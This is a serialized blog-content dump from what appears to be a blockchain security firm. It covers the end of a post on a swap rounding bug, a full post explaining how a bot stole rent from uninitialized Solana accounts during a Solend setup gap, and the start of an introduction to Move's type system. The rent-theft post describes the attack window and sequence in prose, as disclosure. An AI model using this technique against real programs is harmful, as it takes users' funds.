642,4646,4651,4655,4659,4663,4667,4671,4675,4679,4683,4687,4691,4695,4699,4703,4707,4711,4715,4719,4723,4727,4731,4735],{"type":24,"tag":83,"props":4639,"children":4640},{"style":143},[4641],{"type":29,"value":4072},{"type":24,"tag":83,"props":4643,"children":4644},{"style":143},[4645],{"type":29,"value":2913},{"type":24,"tag":83,"props":4647,"children":4648},{"style":101},[4649],{"type":29,"value":4650},"checked_div",{"type":24,"tag":83,"props":4652,"children":4653},{"style":107},[4654],{"type":29,"value":558},{"type":24,"tag":83,"props":4656,"children":4657},{"style":101},[4658],{"type":29,"value":2927},{"type":24,"tag":83,"props":4660,"children":4661},{"style":107},[4662],{"type":29,"value":558},{"type":24,"tag":83,"props":4664,"children":4665},{"style":143},[4666],{"type":29,"value":2853},{"type":24,"tag":83,"props":4668,"children":4669},{"style":137},[4670],{"type":29,"value":2858},{"type":24,"tag":83,"props":4672,"children":4673},{"style":107},[4674],{"type":29,"value":568},{"type":24,"tag":83,"props":4676,"children":4677},{"style":245},[4678],{"type":29,"value":2867},{"type":24,"tag":83,"props":4680,"children":4681},{"style":107},[4682],{"type":29,"value":2872},{"type":24,"tag":83,"props":4684,"children":4685},{"style":143},[4686],{"type":29,"value":2877},{"type":24,"tag":83,"props":4688,"children":4689},{"style":101},[4690],{"type":29,"value":2882},{"type":24,"tag":83,"props":4692,"children":4693},{"style":107},[4694],{"type":29,"value":558},{"type":24,"tag":83,"props":4696,"children":4697},{"style":137},[4698],{"type":29,"value":2968},{"type":24,"tag":83,"props":4700,"children":4701},{"style":107},[4702],{"type":29,"value":2872},{"type":24,"tag":83,"props":4704,"children":4705},{"style":143},[4706],{"type":29,"value":2877},{"type":24,"tag":83,"props":4708,"children":4709},{"style":101},[4710],{"type":29,"value":2981},{"type":24,"tag":83,"props":4712,"children":4713},{"style":107},[4714],{"type":29,"value":558},{"type":24,"tag":83,"props":4716,"children":4717},{"style":137},[4718],{"type":29,"value":2990},{"type":24,"tag":83,"props":4720,"children":4721},{"style":107},[4722],{"type":29,"value":2872},{"type":24,"tag":83,"props":4724,"children":4725},{"style":143},[4726],{"type":29,"value":2900},{"type":24,"tag":83,"props":4728,"children":4729},{"style":107},[4730],{"type":29,"value":2872},{"type":24,"tag":83,"props":4732,"children":4733},{"style":143},[4734],{"type":29,"value":2900},{"type":24,"tag":83,"props":4736,"children":4737},{"style":107},[4738],{"type":29,"value":321},{"type":24,"tag":83,"props":4740,"children":4741},{"class":85,"line":270},[4742,4746,4750,4754,4758,4762],{"type":24,"tag":83,"props":4743,"children":4744},{"style":143},[4745],{"type":29,"value":4072},{"type":24,"tag":83,"props":4747,"children":4748},{"style":117},[4749],{"type":29,"value":3018},{"type":24,"tag":83,"props":4751,"children":4752},{"style":137},[4753],{"type":29,"value":2756},{"type":24,"tag":83,"props":4755,"children":4756},{"style":143},[4757],{"type":29,"value":3028},{"type":24,"tag":83,"props":4759,"children":4760},{"style":137},[4761],{"type":29,"value":4466},{"type":24,"tag":83,"props":4763,"children":4764},{"style":107},[4765],{"type":29,"value":125},{"type":24,"tag":83,"props":4767,"children":4768},{"class":85,"line":302},[4769,4773,4777,4781,4785,4789,4793,4797,4801,4805,4809,4813,4817,4821,4825,4829,4833,4837,4841,4845,4849,4853,4857],{"type":24,"tag":83,"props":4770,"children":4771},{"style":143},[4772],{"type":29,"value":4126},{"type":24,"tag":83,"props":4774,"children":4775},{"style":90},[4776],{"type":29,"value":2809},{"type":24,"tag":83,"props":4778,"children":4779},{"style":107},[4780],{"type":29,"value":223},{"type":24,"tag":83,"props":4782,"children":4783},{"style":137},[4784],{"type":29,"value":2818},{"type":24,"tag":83,"props":4786,"children":4787},{"style":107},[4788],{"type":29,"value":568},{"type":24,"tag":83,"props":4790,"children":4791},{"style":137},[4792],{"type":29,"value":2827},{"type":24,"tag":83,"props":4794,"children":4795},{"style":107},[4796],{"type":29,"value":633},{"type":24,"tag":83,"props":4798,"children":4799},{"style":143},[4800],{"type":29,"value":1275},{"type":24,"tag":83,"props":4802,"children":4803},{"style":107},[4804],{"type":29,"value":223},{"type":24,"tag":83,"props":4806,"children":4807},{"style":101},[4808],{"type":29,"value":2844},{"type":24,"tag":83,"props":4810,"children":4811},{"style":107},[4812],{"type":29,"value":558},{"type":24,"tag":83,"props":4814,"children":4815},{"style":143},[4816],{"type":29,"value":2853},{"type":24,"tag":83,"props":4818,"children":4819},{"style":137},[4820],{"type":29,"value":2858},{"type":24,"tag":83,"props":4822,"children":4823},{"style":107},[4824],{"type":29,"value":568},{"type":24,"tag":83,"props":4826,"children":4827},{"style":245},[4828],{"type":29,"value":2867},{"type":24,"tag":83,"props":4830,"children":4831},{"style":107},[4832],{"type":29,"value":2872},{"type":24,"tag":83,"props":4834,"children":4835},{"style":143},[4836],{"type":29,"value":2877},{"type":24,"tag":83,"props":4838,"children":4839},{"style":101},[4840],{"type":29,"value":2882},{"type":24,"tag":83,"props":4842,"children":4843},{"style":107},[4844],{"type":29,"value":558},{"type":24,"tag":83,"props":4846,"children":4847},{"style":137},[4848],{"type":29,"value":2891},{"type":24,"tag":83,"props":4850,"children":4851},{"style":107},[4852],{"type":29,"value":2872},{"type":24,"tag":83,"props":4854,"children":4855},{"style":143},[4856],{"type":29,"value":2900},{"type":24,"tag":83,"props":4858,"children":4859},{"style":107},[4860],{"type":29,"value":2905},{"type":24,"tag":83,"props":4862,"children":4863},{"class":85,"line":324},[4864,4868,4872,4876,4880,4884,4888,4892,4896,4900,4904,4908,4912,4916,4920,4924,4928,4932,4936,4940,4944,4948,4952,4956,4960],{"type":24,"tag":83,"props":4865,"children":4866},{"style":143},[4867],{"type":29,"value":4126},{"type":24,"tag":83,"props":4869,"children":4870},{"style":143},[4871],{"type":29,"value":2913},{"type":24,"tag":83,"props":4873,"children":4874},{"style":101},[4875],{"type":29,"value":2918},{"type":24,"tag":83,"props":4877,"children":4878},{"style":107},[4879],{"type":29,"value":558},{"type":24,"tag":83,"props":4881,"children":4882},{"style":101},[4883],{"type":29,"value":2927},{"type":24,"tag":83,"props":4885,"children":4886},{"style":107},[4887],{"type":29,"value":558},{"type":24,"tag":83,"props":4889,"children":4890},{"style":143},[4891],{"type":29,"value":2853},{"type":24,"tag":83,"props":4893,"children":4894},{"style":137},[4895],{"type":29,"value":2858},{"type":24,"tag":83,"props":4897,"children":4898},{"style":107},[4899],{"type":29,"value":568},{"type":24,"tag":83,"props":4901,"children":4902},{"style":245},[4903],{"type":29,"value":2867},{"type":24,"tag":83,"props":4905,"children":4906},{"style":107},[4907],{"type":29,"value":2872},{"type":24,"tag":83,"props":4909,"children":4910},{"style":143},[4911],{"type":29,"value":2877},{"type":24,"tag":83,"props":4913,"children":4914},{"style":101},[4915],{"type":29,"value":2882},{"type":24,"tag":83,"props":4917,"children":4918},{"style":107},[4919],{"type":29,"value":558},{"type":24,"tag":83,"props":4921,"children":4922},{"style":137},[4923],{"type":29,"value":2968},{"type":24,"tag":83,"props":4925,"children":4926},{"style":107},[4927],{"type":29,"value":2872},{"type":24,"tag":83,"props":4929,"children":4930},{"style":143},[4931],{"type":29,"value":2877},{"type":24,"tag":83,"props":4933,"children":4934},{"style":101},[4935],{"type":29,"value":2981},{"type":24,"tag":83,"props":4937,"children":4938},{"style":107},[4939],{"type":29,"value":558},{"type":24,"tag":83,"props":4941,"children":4942},{"style":137},[4943],{"type":29,"value":2990},{"type":24,"tag":83,"props":4945,"children":4946},{"style":107},[4947],{"type":29,"value":2872},{"type":24,"tag":83,"props":4949,"children":4950},{"style":143},[4951],{"type":29,"value":2900},{"type":24,"tag":83,"props":4953,"children":4954},{"style":107},[4955],{"type":29,"value":2872},{"type":24,"tag":83,"props":4957,"children":4958},{"style":143},[4959],{"type":29,"value":2900},{"type":24,"tag":83,"props":4961,"children":4962},{"style":107},[4963],{"type":29,"value":321},{"type":24,"tag":83,"props":4965,"children":4966},{"class":85,"line":345},[4967,4971,4975,4979,4983,4987],{"type":24,"tag":83,"props":4968,"children":4969},{"style":143},[4970],{"type":29,"value":4126},{"type":24,"tag":83,"props":4972,"children":4973},{"style":117},[4974],{"type":29,"value":3018},{"type":24,"tag":83,"props":4976,"children":4977},{"style":137},[4978],{"type":29,"value":3023},{"type":24,"tag":83,"props":4980,"children":4981},{"style":143},[4982],{"type":29,"value":3028},{"type":24,"tag":83,"props":4984,"children":4985},{"style":137},[4986],{"type":29,"value":2756},{"type":24,"tag":83,"props":4988,"children":4989},{"style":107},[4990],{"type":29,"value":125},{"type":24,"tag":83,"props":4992,"children":4993},{"class":85,"line":358},[4994,4999],{"type":24,"tag":83,"props":4995,"children":4996},{"style":117},[4997],{"type":29,"value":4998},"             break",{"type":24,"tag":83,"props":5000,"children":5001},{"style":107},[5002],{"type":29,"value":321},{"type":24,"tag":83,"props":5004,"children":5005},{"class":85,"line":367},[5006,5010,5014,5018],{"type":24,"tag":83,"props":5007,"children":5008},{"style":143},[5009],{"type":29,"value":4126},{"type":24,"tag":83,"props":5011,"children":5012},{"style":107},[5013],{"type":29,"value":3056},{"type":24,"tag":83,"props":5015,"children":5016},{"style":117},[5017],{"type":29,"value":378},{"type":24,"tag":83,"props":5019,"children":5020},{"style":107},[5021],{"type":29,"value":125},{"type":24,"tag":83,"props":5023,"children":5024},{"class":85,"line":406},[5025,5029,5033,5037,5041],{"type":24,"tag":83,"props":5026,"children":5027},{"style":143},[5028],{"type":29,"value":4126},{"type":24,"tag":83,"props":5030,"children":5031},{"style":137},[5032],{"type":29,"value":3072},{"type":24,"tag":83,"props":5034,"children":5035},{"style":143},[5036],{"type":29,"value":146},{"type":24,"tag":83,"props":5038,"children":5039},{"style":137},[5040],{"type":29,"value":3023},{"type":24,"tag":83,"props":5042,"children":5043},{"style":107},[5044],{"type":29,"value":321},{"type":24,"tag":83,"props":5046,"children":5047},{"class":85,"line":427},[5048],{"type":24,"tag":83,"props":5049,"children":5050},{"style":107},[5051],{"type":29,"value":5052},"         }\n",{"type":24,"tag":51,"props":5054,"children":5056},{"id":5055},"closing-thoughts",[5057],{"type":29,"value":5058},"Closing Thoughts",{"type":24,"tag":25,"props":5060,"children":5061},{},[5062],{"type":29,"value":5063},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":25,"props":5065,"children":5066},{},[5067,5069,5074],{"type":29,"value":5068},"Another interesting takeaway is that ",{"type":24,"tag":2040,"props":5070,"children":5071},{},[5072],{"type":29,"value":5073},"fuzzing can give a false sense of security",{"type":29,"value":5075},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":25,"props":5077,"children":5078},{},[5079,5081,5088],{"type":29,"value":5080},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":2033,"props":5082,"children":5085},{"href":5083,"rel":5084},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[2037],[5086],{"type":29,"value":5087},"port-mortem of the NSS overflow",{"type":29,"value":161},{"type":24,"tag":25,"props":5090,"children":5091},{},[5092],{"type":24,"tag":2510,"props":5093,"children":5095},{"alt":7,"src":5094},"/posts/spl-swap/p0.png",[],{"type":24,"tag":25,"props":5097,"children":5098},{},[5099],{"type":29,"value":5100},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":25,"props":5102,"children":5103},{},[5104],{"type":29,"value":5105},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":25,"props":5107,"children":5108},{},[5109],{"type":29,"value":5110},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":24,"tag":2584,"props":5112,"children":5113},{},[5114],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":5116},[5117,5118,5119,5120],{"id":2662,"depth":113,"text":2665},{"id":3665,"depth":113,"text":3668},{"id":3970,"depth":113,"text":3973},{"id":5055,"depth":113,"text":5058},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":5125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5126,"description":5127,"image":5128,"date":5132,"isFeatured":16,"onBlogPage":16,"tags":5133,"body":5134,"_type":2606,"_id":5458,"_source":2608,"_file":5459,"_stem":5460,"_extension":2611},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":5129,"width":5130,"height":5131},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[2623,2624],{"type":21,"children":5135,"toc":5451},[5136,5141,5147,5152,5157,5162,5168,5181,5228,5259,5268,5273,5278,5283,5289,5302,5318,5323,5328,5343,5347,5352,5367,5374,5379,5389,5396,5400,5405,5411,5416,5421,5426,5432,5437],{"type":24,"tag":25,"props":5137,"children":5138},{},[5139],{"type":29,"value":5140},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":51,"props":5142,"children":5144},{"id":5143},"background",[5145],{"type":29,"value":5146},"Background",{"type":24,"tag":25,"props":5148,"children":5149},{},[5150],{"type":29,"value":5151},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":25,"props":5153,"children":5154},{},[5155],{"type":29,"value":5156},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":25,"props":5158,"children":5159},{},[5160],{"type":29,"value":5161},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":51,"props":5163,"children":5165},{"id":5164},"the-exploit",[5166],{"type":29,"value":5167},"The Exploit",{"type":24,"tag":25,"props":5169,"children":5170},{},[5171,5173,5179],{"type":29,"value":5172},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":32,"props":5174,"children":5176},{"className":5175},[],[5177],{"type":29,"value":5178},"init_reserve",{"type":29,"value":5180}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":63,"props":5182,"children":5183},{},[5184,5189,5194,5199,5210,5215],{"type":24,"tag":67,"props":5185,"children":5186},{},[5187],{"type":29,"value":5188},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":67,"props":5190,"children":5191},{},[5192],{"type":29,"value":5193},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":67,"props":5195,"children":5196},{},[5197],{"type":29,"value":5198},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":67,"props":5200,"children":5201},{},[5202,5204],{"type":29,"value":5203},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":32,"props":5205,"children":5207},{"className":5206},[],[5208],{"type":29,"value":5209},"cTokens",{"type":24,"tag":67,"props":5211,"children":5212},{},[5213],{"type":29,"value":5214},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":67,"props":5216,"children":5217},{},[5218,5220,5226],{"type":29,"value":5219},"creator collateral token account - creator's ",{"type":24,"tag":32,"props":5221,"children":5223},{"className":5222},[],[5224],{"type":29,"value":5225},"cToken",{"type":29,"value":5227}," account",{"type":24,"tag":25,"props":5229,"children":5230},{},[5231,5233,5238,5240,5245,5247,5252,5254],{"type":29,"value":5232},"Account creation and initialization are ",{"type":24,"tag":2655,"props":5234,"children":5235},{},[5236],{"type":29,"value":5237},"usually",{"type":29,"value":5239}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":32,"props":5241,"children":5243},{"className":5242},[],[5244],{"type":29,"value":5178},{"type":29,"value":5246}," is ",{"type":24,"tag":2655,"props":5248,"children":5249},{},[5250],{"type":29,"value":5251},"supposed",{"type":29,"value":5253}," to look like:\n",{"type":24,"tag":2510,"props":5255,"children":5258},{"src":5256,"alt":5257},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":25,"props":5260,"children":5261},{},[5262,5264],{"type":29,"value":5263},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":2510,"props":5265,"children":5267},{"src":5266,"alt":5257},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":25,"props":5269,"children":5270},{},[5271],{"type":29,"value":5272},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":25,"props":5274,"children":5275},{},[5276],{"type":29,"value":5277},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":25,"props":5279,"children":5280},{},[5281],{"type":29,"value":5282},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":51,"props":5284,"children":5286},{"id":5285},"example",[5287],{"type":29,"value":5288},"Example",{"type":24,"tag":25,"props":5290,"children":5291},{},[5292,5294,5301],{"type":29,"value":5293},"Let's take a look at ",{"type":24,"tag":2033,"props":5295,"children":5298},{"href":5296,"rel":5297},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[2037],[5299],{"type":29,"value":5300},"a real attack",{"type":29,"value":161},{"type":24,"tag":25,"props":5303,"children":5304},{},[5305,5312,5314],{"type":24,"tag":2033,"props":5306,"children":5309},{"href":5307,"rel":5308},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[2037],[5310],{"type":29,"value":5311},"Transaction 1",{"type":29,"value":5313},":\n",{"type":24,"tag":2510,"props":5315,"children":5317},{"alt":7,"src":5316},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":25,"props":5319,"children":5320},{},[5321],{"type":29,"value":5322},"(...more accounts truncated)",{"type":24,"tag":25,"props":5324,"children":5325},{},[5326],{"type":29,"value":5327},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":25,"props":5329,"children":5330},{},[5331,5338,5339],{"type":24,"tag":2033,"props":5332,"children":5335},{"href":5333,"rel":5334},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[2037],[5336],{"type":29,"value":5337},"Attacker's Transaction",{"type":29,"value":5313},{"type":24,"tag":2510,"props":5340,"children":5342},{"alt":7,"src":5341},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":25,"props":5344,"children":5345},{},[5346],{"type":29,"value":5322},{"type":24,"tag":25,"props":5348,"children":5349},{},[5350],{"type":29,"value":5351},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":25,"props":5353,"children":5354},{},[5355,5362,5363],{"type":24,"tag":2033,"props":5356,"children":5359},{"href":5357,"rel":5358},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[2037],[5360],{"type":29,"value":5361},"Transaction 2",{"type":29,"value":5313},{"type":24,"tag":2510,"props":5364,"children":5366},{"alt":7,"src":5365},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":25,"props":5368,"children":5369},{},[5370],{"type":24,"tag":2510,"props":5371,"children":5373},{"alt":7,"src":5372},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":25,"props":5375,"children":5376},{},[5377],{"type":29,"value":5378},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":25,"props":5380,"children":5381},{},[5382,5388],{"type":24,"tag":2033,"props":5383,"children":5386},{"href":5384,"rel":5385},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[2037],[5387],{"type":29,"value":5337},{"type":29,"value":195},{"type":24,"tag":25,"props":5390,"children":5391},{},[5392],{"type":24,"tag":2510,"props":5393,"children":5395},{"alt":7,"src":5394},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":25,"props":5397,"children":5398},{},[5399],{"type":29,"value":5322},{"type":24,"tag":25,"props":5401,"children":5402},{},[5403],{"type":29,"value":5404},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":51,"props":5406,"children":5408},{"id":5407},"impact",[5409],{"type":29,"value":5410},"Impact",{"type":24,"tag":25,"props":5412,"children":5413},{},[5414],{"type":29,"value":5415},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":25,"props":5417,"children":5418},{},[5419],{"type":29,"value":5420},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":25,"props":5422,"children":5423},{},[5424],{"type":29,"value":5425},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":51,"props":5427,"children":5429},{"id":5428},"solution",[5430],{"type":29,"value":5431},"Solution",{"type":24,"tag":25,"props":5433,"children":5434},{},[5435],{"type":29,"value":5436},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":24,"tag":25,"props":5438,"children":5439},{},[5440,5442,5449],{"type":29,"value":5441},"As a more permenant solution, Solend implemented ",{"type":24,"tag":2033,"props":5443,"children":5446},{"href":5444,"rel":5445},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[2037],[5447],{"type":29,"value":5448},"an onchain program",{"type":29,"value":5450}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":113,"depth":113,"links":5452},[5453,5454,5455,5456,5457],{"id":5143,"depth":113,"text":5146},{"id":5164,"depth":113,"text":5167},{"id":5285,"depth":113,"text":5288},{"id":5407,"depth":113,"text":5410},{"id":5428,"depth":113,"text":5431},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":5462,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5463,"description":5464,"author":5465,"image":5466,"date":5470,"isFeatured":16,"onBlogPage":16,"body":5471,"_type":2606,"_id":9003,"_source":2608,"_file":9004,"_stem":9005,"_extension":2611},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":5467,"height":5468,"width":5469},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":21,"children":5472,"toc":8998},[5473,5478,5483,5502,5508,5520,5618,5626,5746,5754,5776,5929,5934,6192,6214,6249,6254,6274,6279,6290,6302,6514,6526,6540,6553,6810,6822,7044,7049,7077,7223,7242,7247,7512,7524,7529,7542,7548,7553,7558,7570,7584,7589,7687,7699,7712,7984,7989,8001,8006,8060,8080,8085,8967,8971,8976,8981,8994],{"type":24,"tag":25,"props":5474,"children":5475},{},[5476],{"type":29,"value":5477},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":25,"props":5479,"children":5480},{},[5481],{"type":29,"value":5482},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":25,"props":5484,"children":5485},{},[5486,5488,5493,5495,5500],{"type":29,"value":5487},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":2655,"props":5489,"children":5490},{},[5491],{"type":29,"value":5492},"how",{"type":29,"value":5494}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":2655,"props":5496,"children":5497},{},[5498],{"type":29,"value":5499},"structurally",{"type":29,"value":5501}," safer programs.",{"type":24,"tag":51,"props":5503,"children":5505},{"id":5504},"types",[5506],{"type":29,"value":5507},"Types",{"type":24,"tag":25,"props":5509,"children":5510},{},[5511,5513,5519],{"type":29,"value":5512},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":24,"tag":32,"props":5514,"children":5516},{"className":5515},[],[5517],{"type":29,"value":5518},"coin.move",{"type":29,"value":161},{"type":24,"tag":73,"props":5521,"children":5523},{"className":2725,"code":5522,"language":2724,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[5524],{"type":24,"tag":32,"props":5525,"children":5526},{"__ignoreMap":7},[5527,5535,5582,5590,5611],{"type":24,"tag":83,"props":5528,"children":5529},{"class":85,"line":86},[5530],{"type":24,"tag":83,"props":5531,"children":5532},{"style":2735},[5533],{"type":29,"value":5534},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":83,"props":5536,"children":5537},{"class":85,"line":113},[5538,5543,5548,5553,5558,5563,5568,5573,5578],{"type":24,"tag":83,"props":5539,"children":5540},{"style":90},[5541],{"type":29,"value":5542},"  struct",{"type":24,"tag":83,"props":5544,"children":5545},{"style":3163},[5546],{"type":29,"value":5547}," Coin",{"type":24,"tag":83,"props":5549,"children":5550},{"style":107},[5551],{"type":29,"value":5552},"\u003C",{"type":24,"tag":83,"props":5554,"children":5555},{"style":137},[5556],{"type":29,"value":5557},"phantom",{"type":24,"tag":83,"props":5559,"children":5560},{"style":3163},[5561],{"type":29,"value":5562}," CoinType",{"type":24,"tag":83,"props":5564,"children":5565},{"style":107},[5566],{"type":29,"value":5567},"> ",{"type":24,"tag":83,"props":5569,"children":5570},{"style":137},[5571],{"type":29,"value":5572},"has",{"type":24,"tag":83,"props":5574,"children":5575},{"style":137},[5576],{"type":29,"value":5577}," store",{"type":24,"tag":83,"props":5579,"children":5580},{"style":107},[5581],{"type":29,"value":125},{"type":24,"tag":83,"props":5583,"children":5584},{"class":85,"line":128},[5585],{"type":24,"tag":83,"props":5586,"children":5587},{"style":2735},[5588],{"type":29,"value":5589},"      /// Amount of coin this address has.\n",{"type":24,"tag":83,"props":5591,"children":5592},{"class":85,"line":183},[5593,5598,5602,5607],{"type":24,"tag":83,"props":5594,"children":5595},{"style":137},[5596],{"type":29,"value":5597},"      value",{"type":24,"tag":83,"props":5599,"children":5600},{"style":143},[5601],{"type":29,"value":195},{"type":24,"tag":83,"props":5603,"children":5604},{"style":3163},[5605],{"type":29,"value":5606}," u64",{"type":24,"tag":83,"props":5608,"children":5609},{"style":107},[5610],{"type":29,"value":989},{"type":24,"tag":83,"props":5612,"children":5613},{"class":85,"line":203},[5614],{"type":24,"tag":83,"props":5615,"children":5616},{"style":107},[5617],{"type":29,"value":455},{"type":24,"tag":25,"props":5619,"children":5620},{},[5621],{"type":24,"tag":2655,"props":5622,"children":5623},{},[5624],{"type":29,"value":5625},"aptos",{"type":24,"tag":73,"props":5627,"children":5629},{"className":2725,"code":5628,"language":2724,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[5630],{"type":24,"tag":32,"props":5631,"children":5632},{"__ignoreMap":7},[5633,5641,5691,5708,5739],{"type":24,"tag":83,"props":5634,"children":5635},{"class":85,"line":86},[5636],{"type":24,"tag":83,"props":5637,"children":5638},{"style":2735},[5639],{"type":29,"value":5640},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":83,"props":5642,"children":5643},{"class":85,"line":113},[5644,5648,5652,5656,5660,5665,5669,5673,5678,5682,5687],{"type":24,"tag":83,"props":5645,"children":5646},{"style":90},[5647],{"type":29,"value":5542},{"type":24,"tag":83,"props":5649,"children":5650},{"style":3163},[5651],{"type":29,"value":5547},{"type":24,"tag":83,"props":5653,"children":5654},{"style":107},[5655],{"type":29,"value":5552},{"type":24,"tag":83,"props":5657,"children":5658},{"style":137},[5659],{"type":29,"value":5557},{"type":24,"tag":83,"props":5661,"children":5662},{"style":3163},[5663],{"type":29,"value":5664}," 